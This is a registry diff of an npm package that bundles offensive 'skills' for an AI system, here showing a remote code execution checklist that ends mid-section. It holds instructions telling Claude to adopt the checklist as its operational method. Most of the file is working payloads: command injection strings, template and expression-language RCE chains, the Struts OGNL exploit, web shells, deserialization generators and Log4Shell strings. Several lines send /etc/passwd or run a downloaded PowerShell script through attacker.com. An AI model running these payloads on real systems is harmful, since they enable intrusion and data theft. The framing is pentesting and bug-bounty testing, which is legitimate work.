@aegis-scan/skills 0.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (69) hide show
  1. package/ATTRIBUTION.md +75 -0
  2. package/CHANGELOG.md +129 -0
  3. package/LICENSE +21 -0
  4. package/README.md +123 -0
  5. package/dist/bin.d.ts +3 -0
  6. package/dist/bin.d.ts.map +1 -0
  7. package/dist/bin.js +122 -0
  8. package/dist/bin.js.map +1 -0
  9. package/dist/commands/info.d.ts +5 -0
  10. package/dist/commands/info.d.ts.map +1 -0
  11. package/dist/commands/info.js +75 -0
  12. package/dist/commands/info.js.map +1 -0
  13. package/dist/commands/install.d.ts +7 -0
  14. package/dist/commands/install.d.ts.map +1 -0
  15. package/dist/commands/install.js +87 -0
  16. package/dist/commands/install.js.map +1 -0
  17. package/dist/commands/list.d.ts +7 -0
  18. package/dist/commands/list.d.ts.map +1 -0
  19. package/dist/commands/list.js +82 -0
  20. package/dist/commands/list.js.map +1 -0
  21. package/dist/index.d.ts +13 -0
  22. package/dist/index.d.ts.map +1 -0
  23. package/dist/index.js +13 -0
  24. package/dist/index.js.map +1 -0
  25. package/dist/skills-loader.d.ts +23 -0
  26. package/dist/skills-loader.d.ts.map +1 -0
  27. package/dist/skills-loader.js +213 -0
  28. package/dist/skills-loader.js.map +1 -0
  29. package/package.json +63 -0
  30. package/skills/defensive/README.md +9 -0
  31. package/skills/mitre-mapped/README.md +10 -0
  32. package/skills/offensive/snailsploit-fork/advanced-redteam/SKILL.md +148 -0
  33. package/skills/offensive/snailsploit-fork/ai-security/SKILL.md +592 -0
  34. package/skills/offensive/snailsploit-fork/basic-exploitation/SKILL.md +10783 -0
  35. package/skills/offensive/snailsploit-fork/bug-identification/SKILL.md +1256 -0
  36. package/skills/offensive/snailsploit-fork/crash-analysis/SKILL.md +12466 -0
  37. package/skills/offensive/snailsploit-fork/deserialization/SKILL.md +185 -0
  38. package/skills/offensive/snailsploit-fork/edr-evasion/SKILL.md +1806 -0
  39. package/skills/offensive/snailsploit-fork/exploit-dev-course/SKILL.md +428 -0
  40. package/skills/offensive/snailsploit-fork/exploit-development/SKILL.md +699 -0
  41. package/skills/offensive/snailsploit-fork/fast-checking/SKILL.md +487 -0
  42. package/skills/offensive/snailsploit-fork/file-upload/SKILL.md +822 -0
  43. package/skills/offensive/snailsploit-fork/fuzzing/SKILL.md +340 -0
  44. package/skills/offensive/snailsploit-fork/fuzzing-course/SKILL.md +2105 -0
  45. package/skills/offensive/snailsploit-fork/graphql/SKILL.md +209 -0
  46. package/skills/offensive/snailsploit-fork/idor/SKILL.md +608 -0
  47. package/skills/offensive/snailsploit-fork/initial-access/SKILL.md +1528 -0
  48. package/skills/offensive/snailsploit-fork/jwt/SKILL.md +276 -0
  49. package/skills/offensive/snailsploit-fork/keylogger-arch/SKILL.md +197 -0
  50. package/skills/offensive/snailsploit-fork/mitigations/SKILL.md +1351 -0
  51. package/skills/offensive/snailsploit-fork/oauth/SKILL.md +366 -0
  52. package/skills/offensive/snailsploit-fork/open-redirect/SKILL.md +487 -0
  53. package/skills/offensive/snailsploit-fork/osint/SKILL.md +399 -0
  54. package/skills/offensive/snailsploit-fork/osint-methodology/SKILL.md +434 -0
  55. package/skills/offensive/snailsploit-fork/parameter-pollution/SKILL.md +595 -0
  56. package/skills/offensive/snailsploit-fork/race-condition/SKILL.md +881 -0
  57. package/skills/offensive/snailsploit-fork/rce/SKILL.md +1069 -0
  58. package/skills/offensive/snailsploit-fork/request-smuggling/SKILL.md +773 -0
  59. package/skills/offensive/snailsploit-fork/shellcode/SKILL.md +477 -0
  60. package/skills/offensive/snailsploit-fork/sqli/SKILL.md +372 -0
  61. package/skills/offensive/snailsploit-fork/ssrf/SKILL.md +830 -0
  62. package/skills/offensive/snailsploit-fork/ssti/SKILL.md +349 -0
  63. package/skills/offensive/snailsploit-fork/vuln-classes/SKILL.md +1229 -0
  64. package/skills/offensive/snailsploit-fork/waf-bypass/SKILL.md +820 -0
  65. package/skills/offensive/snailsploit-fork/windows-boundaries/SKILL.md +15153 -0
  66. package/skills/offensive/snailsploit-fork/windows-mitigations/SKILL.md +14546 -0
  67. package/skills/offensive/snailsploit-fork/xss/SKILL.md +784 -0
  68. package/skills/offensive/snailsploit-fork/xxe/SKILL.md +996 -0
  69. package/skills/ops/README.md +6 -0
@@ -0,0 +1,1069 @@
1
+ <!-- aegis-local: forked 2026-04-23 from SnailSploit/Claude-Red@c74d53e2938b59f111572e0819265a1e73029393; attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ # SKILL: Remote Code Execution
4
+
5
+ ## Metadata
6
+ - **Skill Name**: rce
7
+ - **Folder**: offensive-rce
8
+ - **Source**: https://github.com/SnailSploit/offensive-checklist/blob/main/rce.md
9
+
10
+ ## Description
11
+ Remote Code Execution testing checklist: OS command injection, SSTI-to-RCE, deserialization RCE, file upload RCE, XXE with SSRF to RCE, RCE via dependency confusion, and CVE-based RCE patterns. Use for web app pentests and bug bounty RCE discovery.
12
+
13
+ ## Trigger Phrases
14
+ Use this skill when the conversation involves any of:
15
+ `RCE, remote code execution, command injection, OS injection, SSTI RCE, deserialization RCE, file upload RCE, XXE RCE, dependency confusion, code execution`
16
+
17
+ ## Instructions for Claude
18
+
19
+ When this skill is active:
20
+ 1. Load and apply the full methodology below as your operational checklist
21
+ 2. Follow steps in order unless the user specifies otherwise
22
+ 3. For each technique, consider applicability to the current target/context
23
+ 4. Track which checklist items have been completed
24
+ 5. Suggest next steps based on findings
25
+
26
+ ---
27
+
28
+ ## Full Methodology
29
+
30
+ # Remote Code Execution
31
+
32
+ occurs when an attacker can execute arbitrary code on a target machine because of a vulnerability or misconfiguration.
33
+
34
+ ## Shortcut
35
+
36
+ 1. Identify suspicious user input locations. for code injections, take note of every user input location, including URL parameters, HTTP headers, body parameters, and file uploads. to find potential file inclusion vulnerabilities, check for input locations being used to inclusion vulnerabilities, check for input locations being used to determine or, construct filenames and, for file upload functions.
37
+ 2. Submit test payloads to the input locations in order to detect potential vulnerabilities.
38
+ 3. If your requests are blocked, try protection bypass techniques and see if your payload succeeds.
39
+ 4. Finally, confirm the vulnerability by trying to execute harmless commands such as `whoami`, `ls`, and, `sleep 5`.
40
+
41
+ ## Mechanisms
42
+
43
+ ### Code Injection
44
+
45
+ This program takes a user input string, pass it through `eval()` and return the results:
46
+
47
+ ```python
48
+ def calculate(input):
49
+ return eval("{}".format(input))
50
+
51
+ result = calculate(user_input.calc)
52
+ print("The result is {}.".format(result))
53
+ ```
54
+
55
+ an attacker could provide the application with something more malicious instead:
56
+
57
+ ```http
58
+ GET /calculator?calc="__import__('os').system('ls')"
59
+ Host: example.com
60
+ ```
61
+
62
+ ### File Inclusion
63
+
64
+ making the target server include a file containing malicious code.
65
+
66
+ ```php
67
+ <?php
68
+ // Some PHP code
69
+
70
+ $file = $_GET["page"];
71
+ include $file;
72
+
73
+ // Some PHP code
74
+ ?>
75
+ ```
76
+
77
+ if the application doesn't limit which file the user includes with the page parameter, an attacker can include a malicious PHP file.
78
+
79
+ ```php
80
+ <?PHP
81
+ system($_GET["cmd"]);
82
+ ?>
83
+ ```
84
+
85
+ and then they can run commands:
86
+
87
+ ```http
88
+ http://example.com/?page=http://attacker.com/malicious.php?cmd=ls
89
+ ```
90
+
91
+ ### Command Injection
92
+
93
+ Untrusted data flows into OS command execution APIs.
94
+
95
+ Examples:
96
+
97
+ ```python
98
+ subprocess.run("ping -c 1 " + user, shell=True) # vulnerable
99
+ subprocess.run(["ping", "-c", "1", user], shell=False) # safer
100
+ ```
101
+
102
+ Detect via time/delay payloads (`&& sleep 5`), OAST/DNS callbacks, and out-of-band responses.
103
+
104
+ ### Server-Side Template Injection (SSTI)
105
+
106
+ User-controlled template strings evaluated by template engines (Jinja2, Twig, Freemarker, Thymeleaf) can lead to RCE.
107
+
108
+ Probe with arithmetic/concat markers, escalate using engine-specific object graphs. Tools: `tplmap`.
109
+
110
+ ### Insecure Deserialization
111
+
112
+ Deserializing untrusted data (Java, .NET, PHP, Python `pickle`) can trigger gadget chains to RCE.
113
+
114
+ Test with known gadget payloads (e.g., `ysoserial`, `marshalsec`), and observe blind effects via OAST.
115
+
116
+ ### Unsafe YAML and Config Parsers
117
+
118
+ Loading YAML with object constructors (`yaml.load` vs `safe_load`) can lead to code execution.
119
+
120
+ ### File Upload → Processing Chains
121
+
122
+ Upload parsers (ImageMagick, ExifTool, video transcoders) may execute/parse complex formats leading to RCE. Test with harmless PoCs and OAST.
123
+
124
+ ## Hunt
125
+
126
+ ### 1. Identify Input Vectors
127
+
128
+ Map all user-controlled input that could lead to code execution:
129
+
130
+ - **Command-line argument injection**: APIs that execute shell commands, CLI tools, system utilities
131
+ - **Template engines**: User-provided templates or template variables (Jinja2, Twig, Freemarker, Thymeleaf, ERB, Handlebars)
132
+ - **File uploads**: Server-side processing of images, documents, archives, media files
133
+ - **Deserialization endpoints**: APIs accepting serialized objects (Java, .NET, Python pickle, PHP serialize, Ruby Marshal)
134
+ - **Expression Language fields**: Search filters, calculations, dynamic queries (SpEL, OGNL, MVEL, EL)
135
+ - **Webhook URLs**: Server-side fetches triggered by user-supplied URLs
136
+ - **Log file paths**: Log injection leading to log processing (LogForge, Log4Shell)
137
+ - **Configuration files**: Upload or modification of config files (.htaccess, web.config, cron jobs)
138
+ - **Email/document processing**: Mail parsers, PDF generators, office document converters
139
+ - **Image manipulation**: ImageMagick, GraphicsMagick, Pillow, GD library operations
140
+ - **Video/audio processing**: FFmpeg, ExifTool, media transcoders
141
+
142
+ ### 2. Test Payloads by Context
143
+
144
+ #### Command Injection Payloads
145
+
146
+ **Linux/Unix:**
147
+
148
+ ```bash
149
+ # Basic injection
150
+ ; whoami
151
+ | whoami
152
+ || whoami
153
+ & whoami
154
+ && whoami
155
+ `whoami`
156
+ $(whoami)
157
+
158
+ # Time-based detection
159
+ ; sleep 10
160
+ | sleep 10 &
161
+ || ping -c 10 127.0.0.1
162
+
163
+ # Out-of-band (OAST)
164
+ ; nslookup $(whoami).attacker.com
165
+ ; curl http://attacker.com/$(whoami)
166
+ ; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
167
+
168
+ # Space bypasses
169
+ cat</etc/passwd
170
+ {cat,/etc/passwd}
171
+ cat$IFS/etc/passwd
172
+ cat${IFS}/etc/passwd
173
+ X=$'cat\x20/etc/passwd'&&$X
174
+
175
+ # Command obfuscation
176
+ c''at /etc/passwd
177
+ c\at /etc/passwd
178
+ c"a"t /etc/passwd
179
+ $(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)
180
+
181
+ # Wildcard injection
182
+ /???/??t /???/??ss??
183
+ /???/n? 127.0.0.1
184
+
185
+ # Variable expansion
186
+ a=w;b=hoami;$a$b
187
+ ```
188
+
189
+ **Windows:**
190
+
191
+ ```cmd
192
+ # Basic injection
193
+ & whoami
194
+ && whoami
195
+ | whoami
196
+ || whoami
197
+ ; whoami
198
+
199
+ # Newline injection
200
+ %0a whoami
201
+
202
+ # Time-based
203
+ | ping -n 10 127.0.0.1
204
+ & timeout /t 10
205
+
206
+ # OAST
207
+ & nslookup %USERNAME%.attacker.com
208
+ & certutil -urlcache -split -f http://attacker.com/beacon
209
+
210
+ # PowerShell execution
211
+ & powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')"
212
+ ```
213
+
214
+ #### Server-Side Template Injection (SSTI) Payloads
215
+
216
+ **Jinja2 (Python - Flask, Ansible):**
217
+
218
+ ```python
219
+ # Detection
220
+ {{7*7}} # Returns 49
221
+ {{7*'7'}} # Returns 7777777
222
+
223
+ # Reconnaissance
224
+ {{config}}
225
+ {{config.items()}}
226
+ {{self}}
227
+ {%debug%}
228
+
229
+ # RCE via __subclasses__
230
+ {{''.__class__.__mro__[1].__subclasses__()}}
231
+
232
+ # Find useful classes
233
+ {{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}
234
+
235
+ # subprocess.Popen
236
+ {{''.__class__.__mro__[1].__subclasses__()[396]('whoami',shell=True,stdout=-1).communicate()}}
237
+
238
+ # Modern bypass (Python 3)
239
+ {{request.application.__globals__.__builtins__.__import__('os').popen('whoami').read()}}
240
+
241
+ # Lipsum object abuse
242
+ {{lipsum.__globals__['os'].popen('whoami').read()}}
243
+
244
+ # Cycler object
245
+ {{cycler.__init__.__globals__.os.popen('whoami').read()}}
246
+ ```
247
+
248
+ **Twig (PHP - Symfony):**
249
+
250
+ ```twig
251
+ # Detection
252
+ {{7*7}}
253
+
254
+ # RCE
255
+ {{_self.env.registerUndefinedFilterCallback("exec")}}
256
+ {{_self.env.getFilter("whoami")}}
257
+
258
+ # Alternative
259
+ {{_self.env.enableDebug()}}
260
+ {{_self.env.isDebug()}}
261
+
262
+ # PHP filter chain (modern)
263
+ {{["id"]|filter("system")}}
264
+ ```
265
+
266
+ **Freemarker (Java):**
267
+
268
+ ```java
269
+ # Detection
270
+ ${7*7}
271
+
272
+ # RCE
273
+ <#assign ex="freemarker.template.utility.Execute"?new()>
274
+ ${ex("whoami")}
275
+
276
+ # Alternative
277
+ <#assign classLoader=object?api.class.protectionDomain.classLoader>
278
+ <#assign clazz=classLoader.loadClass("java.lang.Runtime")>
279
+ <#assign method=clazz.getMethod("getRuntime",null)>
280
+ <#assign runtime=method.invoke(null,null)>
281
+ <#assign method=clazz.getMethod("exec",classLoader.loadClass("java.lang.String"))>
282
+ ${method.invoke(runtime,"whoami")}
283
+ ```
284
+
285
+ **Thymeleaf (Java - Spring):**
286
+
287
+ ```java
288
+ # Detection
289
+ [[${7*7}]]
290
+
291
+ # RCE
292
+ ${T(java.lang.Runtime).getRuntime().exec('whoami')}
293
+ [[${T(java.lang.Runtime).getRuntime().exec('whoami')}]]
294
+
295
+ # Spring EL alternative
296
+ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}
297
+ ```
298
+
299
+ **ERB (Ruby - Rails):**
300
+
301
+ ```ruby
302
+ # Detection
303
+ <%= 7*7 %>
304
+
305
+ # RCE
306
+ <%= system("whoami") %>
307
+ <%= `whoami` %>
308
+ <%= IO.popen('whoami').readlines() %>
309
+ <%= %x(whoami) %>
310
+ ```
311
+
312
+ **Velocity (Java):**
313
+
314
+ ```java
315
+ # Detection
316
+ #set($x = 7 * 7)$x
317
+
318
+ # RCE
319
+ #set($rt = $class.forName("java.lang.Runtime"))
320
+ #set($chr = $class.forName("java.lang.Character"))
321
+ #set($str = $class.forName("java.lang.String"))
322
+ #set($ex=$rt.getRuntime().exec("whoami"))
323
+ $ex.waitFor()
324
+ #set($out=$ex.getInputStream())
325
+ #foreach($i in [1..$out.available()])
326
+ $chr.toString($out.read())
327
+ #end
328
+ ```
329
+
330
+ **Handlebars (JavaScript/Node.js):**
331
+
332
+ ```javascript
333
+ # Detection
334
+ {{7*7}}
335
+
336
+ # RCE (if helper is vulnerable)
337
+ {{#with "s" as |string|}}
338
+ {{#with "e"}}
339
+ {{#with split as |conslist|}}
340
+ {{this.pop}}
341
+ {{this.push (lookup string.sub "constructor")}}
342
+ {{this.pop}}
343
+ {{#with string.split as |codelist|}}
344
+ {{this.pop}}
345
+ {{this.push "return require('child_process').execSync('whoami');"}}
346
+ {{this.pop}}
347
+ {{#each conslist}}
348
+ {{#with (string.sub.apply 0 codelist)}}
349
+ {{this}}
350
+ {{/with}}
351
+ {{/each}}
352
+ {{/with}}
353
+ {{/with}}
354
+ {{/with}}
355
+ {{/with}}
356
+ ```
357
+
358
+ #### Expression Language (EL) Injection
359
+
360
+ **Spring SpEL (Spring Framework):**
361
+
362
+ ```java
363
+ # Detection
364
+ ${7*7}
365
+ #{7*7}
366
+
367
+ # RCE
368
+ ${T(java.lang.Runtime).getRuntime().exec('whoami')}
369
+ #{T(java.lang.Runtime).getRuntime().exec('whoami')}
370
+
371
+ # Alternative methods
372
+ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream())}
373
+
374
+ # Bypass blacklist
375
+ ${T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"whoami"})}
376
+ ```
377
+
378
+ **OGNL (Object-Graph Navigation Language - Struts):**
379
+
380
+ ```java
381
+ # Detection
382
+ ${7*7}
383
+
384
+ # RCE
385
+ ${@java.lang.Runtime@getRuntime().exec('whoami')}
386
+
387
+ # CVE-2017-5638 (Content-Type exploitation)
388
+ Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
389
+ ```
390
+
391
+ **MVEL (MVFLEX Expression Language):**
392
+
393
+ ```java
394
+ # Detection
395
+ ${7*7}
396
+
397
+ # RCE
398
+ Runtime.getRuntime().exec("whoami");
399
+ ```
400
+
401
+ #### Deserialization Payloads
402
+
403
+ **Java (using ysoserial):**
404
+
405
+ ```bash
406
+ # Generate payload
407
+ java -jar ysoserial.jar CommonsCollections6 'curl http://attacker.com/beacon' | base64
408
+
409
+ # Popular gadget chains
410
+ ysoserial CommonsCollections1
411
+ ysoserial CommonsCollections6
412
+ ysoserial CommonsCollections7
413
+ ysoserial Spring1
414
+ ysoserial Spring2
415
+ ysoserial Jdk7u21
416
+ ysoserial Hibernate1
417
+ ```
418
+
419
+ **.NET (using ysoserial.net):**
420
+
421
+ ```bash
422
+ # Generate payload
423
+ ysoserial.exe -g ObjectDataProvider -f Json -c "calc.exe"
424
+ ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "powershell.exe -c whoami"
425
+
426
+ # Gadgets
427
+ TypeConfuseDelegate
428
+ ObjectDataProvider
429
+ PSObject
430
+ WindowsIdentity
431
+ ```
432
+
433
+ **Python pickle:**
434
+
435
+ ```python
436
+ import pickle
437
+ import base64
438
+ import os
439
+
440
+ class RCE:
441
+ def __reduce__(self):
442
+ return (os.system, ('whoami',))
443
+
444
+ payload = pickle.dumps(RCE())
445
+ print(base64.b64encode(payload))
446
+ ```
447
+
448
+ **PHP serialize:**
449
+
450
+ ```php
451
+ # Magic methods for exploitation
452
+ __wakeup()
453
+ __destruct()
454
+ __toString()
455
+
456
+ # Example payload
457
+ O:8:"stdClass":1:{s:4:"file";s:17:"/etc/passwd";}
458
+ ```
459
+
460
+ ### 3. Advanced Techniques
461
+
462
+ #### Blind RCE Detection
463
+
464
+ **Time-Based:**
465
+
466
+ ```bash
467
+ # Linux
468
+ ; sleep 10
469
+ | ping -c 10 127.0.0.1
470
+ | timeout 10
471
+
472
+ # Windows
473
+ | ping -n 10 127.0.0.1
474
+ & timeout /t 10
475
+ ```
476
+
477
+ **Out-of-Band (OAST) using Burp Collaborator:**
478
+
479
+ ```bash
480
+ # DNS exfiltration
481
+ ; nslookup $(whoami).burpcollaborator.net
482
+ ; dig $(whoami).burpcollaborator.net
483
+
484
+ # HTTP callback
485
+ ; curl http://burpcollaborator.net
486
+ ; wget http://burpcollaborator.net/$(whoami)
487
+
488
+ # DNS with data exfiltration
489
+ ; cat /etc/passwd | base64 | xargs -I {} nslookup {}.burpcollaborator.net
490
+ ```
491
+
492
+ #### Bypass Techniques
493
+
494
+ **Blacklist Bypasses:**
495
+
496
+ ```bash
497
+ # Case variation
498
+ WhOaMi
499
+ wH%6f%61%6Di
500
+
501
+ # Encoding
502
+ wh\u006fami
503
+ wh\x6fami
504
+ echo "d2hvYW1p" | base64 -d | sh
505
+
506
+ # Line continuation
507
+ wh\
508
+ oami
509
+
510
+ # Comments (bash)
511
+ wh#comment
512
+ oami
513
+
514
+ # Null byte (legacy)
515
+ whoami%00.jpg
516
+ ```
517
+
518
+ **WAF Bypasses:**
519
+
520
+ ```bash
521
+ # Unicode/encoding
522
+ wh\u006fami
523
+
524
+ # Hex encoding
525
+ \x77\x68\x6f\x61\x6d\x69
526
+
527
+ # Concatenation
528
+ 'wh'+'oami'
529
+ "wh"+"oami"
530
+
531
+ # Variable expansion
532
+ a=w;b=hoami;$a$b
533
+ ```
534
+
535
+ ### 4. Confirm the Vulnerability
536
+
537
+ Execute harmless commands to prove RCE without causing damage:
538
+
539
+ ```bash
540
+ # Safe verification commands
541
+ whoami
542
+ id
543
+ pwd
544
+ hostname
545
+ uname -a
546
+ cat /etc/issue
547
+ systeminfo (Windows)
548
+
549
+ # Create proof file
550
+ echo "pwned_by_researcher" > /tmp/proof.txt
551
+
552
+ # Time-based confirmation
553
+ sleep 10 && curl http://attacker.com/confirmed
554
+ ```
555
+
556
+ **Practical Tactics:**
557
+
558
+ - Use time-based payloads for blind cases; confirm via differential latency (baseline vs payload response time)
559
+ - Use OAST (Burp Collaborator, Interactsh) to detect out-of-band DNS/HTTP callbacks
560
+ - For deserialization, try signed/unsigned object tampering and gadget canaries
561
+ - For uploads, verify server-side processing paths (thumbnails, metadata extraction, AV scanning windows)
562
+ - Test multiple injection points in parallel; backend queue processing may delay execution
563
+ - Monitor server-side logs if accessible (error logs often reveal stack traces)
564
+
565
+ ## Vulnerabilities
566
+
567
+ ### File Upload → RCE Chains
568
+
569
+ #### 1. Web Shell Upload
570
+
571
+ **PHP Web Shells:**
572
+
573
+ ```php
574
+ # Minimal shell
575
+ <?php system($_GET['c']); ?>
576
+
577
+ # Bypass extension filters
578
+ shell.php.jpg
579
+ shell.php%00.jpg # Null byte (PHP <5.3)
580
+ shell.php%0a.jpg # Newline
581
+ shell.php..... # Multiple dots
582
+ shell.pHp # Case variation
583
+ shell.php%20 # Trailing space
584
+ shell.php::$DATA # Windows NTFS ADS
585
+ shell.php/ # Trailing slash (IIS)
586
+
587
+ # Content-Type manipulation
588
+ Content-Type: image/jpeg
589
+ Content-Disposition: form-data; name="file"; filename="shell.php.jpg"
590
+
591
+ # Polyglot files (valid image + PHP)
592
+ GIF89a<?php system($_GET['c']); ?>
593
+ ```
594
+
595
+ **ASP/ASPX Shells:**
596
+
597
+ ```asp
598
+ <%@ Page Language="C#" %>
599
+ <%@ Import Namespace="System.Diagnostics" %>
600
+ <% Process.Start("cmd.exe", "/c " + Request["c"]); %>
601
+ ```
602
+
603
+ **JSP Shells:**
604
+
605
+ ```jsp
606
+ <% Runtime.getRuntime().exec(request.getParameter("c")); %>
607
+ ```
608
+
609
+ #### 2. .htaccess / web.config Injection
610
+
611
+ **.htaccess to enable PHP in images:**
612
+
613
+ ```apache
614
+ AddType application/x-httpd-php .jpg
615
+ AddHandler application/x-httpd-php .jpg
616
+
617
+ # Alternative
618
+ <FilesMatch "\.jpg$">
619
+ SetHandler application/x-httpd-php
620
+ </FilesMatch>
621
+ ```
622
+
623
+ **web.config to enable ASP in images:**
624
+
625
+ ```xml
626
+ <configuration>
627
+ <system.webServer>
628
+ <handlers>
629
+ <add name="jpg" path="*.jpg" verb="*" type="System.Web.UI.PageHandlerFactory" />
630
+ </handlers>
631
+ </system.webServer>
632
+ </configuration>
633
+ ```
634
+
635
+ #### 3. Archive Extraction (Zip Slip - CVE-2018-1002200)
636
+
637
+ ```bash
638
+ # Create malicious zip with path traversal
639
+ ln -s ../../../../../../../etc/cron.d/evil evil.txt
640
+ zip --symlinks evil.zip evil.txt
641
+
642
+ # Or craft manually with path traversal
643
+ evil/
644
+ ../../../../var/www/html/shell.php
645
+ ../../../../etc/cron.d/backdoor
646
+ ```
647
+
648
+ **Testing:**
649
+
650
+ - Upload zip/tar containing paths with `../`
651
+ - Symlink to sensitive locations
652
+ - Overwrite cron jobs, SSH keys, web roots
653
+
654
+ #### 4. ImageMagick Exploits
655
+
656
+ **ImageTragick (CVE-2016-3714):**
657
+
658
+ ```
659
+ push graphic-context
660
+ viewbox 0 0 640 480
661
+ fill 'url(https://attacker.com/shell.jpg"|whoami")'
662
+ pop graphic-context
663
+ ```
664
+
665
+ **Modern ImageMagick RCE (CVE-2022-44268):**
666
+
667
+ ```bash
668
+ # Arbitrary file read
669
+ convert -size 1x1 xc:red -set "profile:1" "/etc/passwd" exploit.png
670
+
671
+ # Exploitation
672
+ convert exploit.png output.png
673
+ identify -verbose output.png | grep "Raw profile type"
674
+ ```
675
+
676
+ **Other ImageMagick vectors:**
677
+
678
+ - MSL (Magick Scripting Language) injection
679
+ - Label injection for RCE
680
+ - SVG with embedded scripts
681
+
682
+ #### 5. PDF Processing RCE
683
+
684
+ **PDF with JavaScript:**
685
+
686
+ ```javascript
687
+ app.alert({ cMsg: "XSS", cTitle: "XSS" });
688
+
689
+ // File system access (if enabled)
690
+ this.exportDataObject({ cName: "test", nLaunch: 2 });
691
+ ```
692
+
693
+ **LaTeX Injection:**
694
+
695
+ ```latex
696
+ \documentclass{article}
697
+ \immediate\write18{whoami}
698
+ \begin{document}
699
+ Hello World
700
+ \end{document}
701
+
702
+ # Alternative
703
+ \input{|"whoami"}
704
+ ```
705
+
706
+ **XSL-FO Injection (Apache FOP):**
707
+
708
+ ```xml
709
+ <fo:instream-foreign-object>
710
+ <svg:svg>
711
+ <svg:script>java.lang.Runtime.getRuntime().exec("whoami")</svg:script>
712
+ </svg:svg>
713
+ </fo:instream-foreign-object>
714
+ ```
715
+
716
+ #### 6. Office Document Processing
717
+
718
+ **XXE in DOCX/XLSX:**
719
+
720
+ ```xml
721
+ # Extract document1.xml from DOCX
722
+ <!DOCTYPE test [
723
+ <!ENTITY xxe SYSTEM "file:///etc/passwd">
724
+ ]>
725
+ <document>&xxe;</document>
726
+ ```
727
+
728
+ **Macro-enabled Documents:**
729
+
730
+ - DOCM, XLSM, PPTM files with VBA macros
731
+ - Excel 4.0 macros (XLM) bypass modern protections
732
+ - DDE (Dynamic Data Exchange) injection
733
+
734
+ **LibreOffice/OpenOffice Exploits:**
735
+
736
+ - CVE-2023-2255: Remote code execution via crafted documents
737
+ - Python macro execution in LibreOffice
738
+
739
+ ### Log4Shell (CVE-2021-44228)
740
+
741
+ **Basic Payloads:**
742
+
743
+ ```bash
744
+ ${jndi:ldap://attacker.com/a}
745
+ ${jndi:rmi://attacker.com/a}
746
+ ${jndi:dns://attacker.com/a}
747
+
748
+ # Common injection points
749
+ User-Agent: ${jndi:ldap://attacker.com/a}
750
+ X-Api-Version: ${jndi:ldap://attacker.com/a}
751
+ Referer: ${jndi:ldap://attacker.com/a}
752
+ ```
753
+
754
+ **Obfuscation Bypasses:**
755
+
756
+ ```bash
757
+ # Lowercase/uppercase
758
+ ${${lower:j}ndi:ldap://attacker.com/a}
759
+ ${${upper:j}ndi:ldap://attacker.com/a}
760
+
761
+ # Environment variables
762
+ ${j${env:NOTHING:-n}di:ldap://attacker.com/a}
763
+
764
+ # Nested lookups
765
+ ${jnd${sys:java.version:-i}:ldap://attacker.com/a}
766
+
767
+ # Multiple levels
768
+ ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}
769
+ ```
770
+
771
+ **Setup LDAP server for exploitation:**
772
+
773
+ ```bash
774
+ # Using marshalsec
775
+ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
776
+
777
+ # Exploit.java - compile and host
778
+ public class Exploit {
779
+ static {
780
+ try {
781
+ Runtime.getRuntime().exec("curl http://attacker.com/pwned");
782
+ } catch (Exception e) {}
783
+ }
784
+ }
785
+ ```
786
+
787
+ ### Prototype Pollution → RCE (Node.js)
788
+
789
+ **Pollute Object prototype:**
790
+
791
+ ```javascript
792
+ // Via JSON
793
+ {"__proto__": {"isAdmin": true}}
794
+ {"constructor": {"prototype": {"isAdmin": true}}}
795
+
796
+ // Via query parameters
797
+ ?__proto__[isAdmin]=true
798
+ ?constructor[prototype][isAdmin]=true
799
+ ```
800
+
801
+ **Escalate to RCE:**
802
+
803
+ ```javascript
804
+ // Pollute child_process options
805
+ {
806
+ "__proto__": {
807
+ "shell": "/bin/sh",
808
+ "argv0": "console.log(require('child_process').execSync('whoami').toString())//"
809
+ }
810
+ }
811
+
812
+ // Pollute via NODE_OPTIONS
813
+ {"__proto__": {"NODE_OPTIONS": "--require /tmp/malicious.js"}}
814
+
815
+ // CVE-2022-21824 - Prototype pollution in VM module
816
+ ```
817
+
818
+ ### FFmpeg / ExifTool Exploits
819
+
820
+ **FFmpeg SSRF (CVE-2016-1897, CVE-2016-1898):**
821
+
822
+ ```
823
+ # Playlist SSRF
824
+ concat:http://attacker.com/playlist|file:///etc/passwd
825
+
826
+ # HLS SSRF
827
+ #EXTM3U
828
+ #EXT-X-MEDIA-SEQUENCE:0
829
+ #EXTINF:10.0,
830
+ http://internal.server/admin
831
+ ```
832
+
833
+ **ExifTool RCE (CVE-2021-22204):**
834
+
835
+ ```bash
836
+ # Create malicious image with DjVu exploit
837
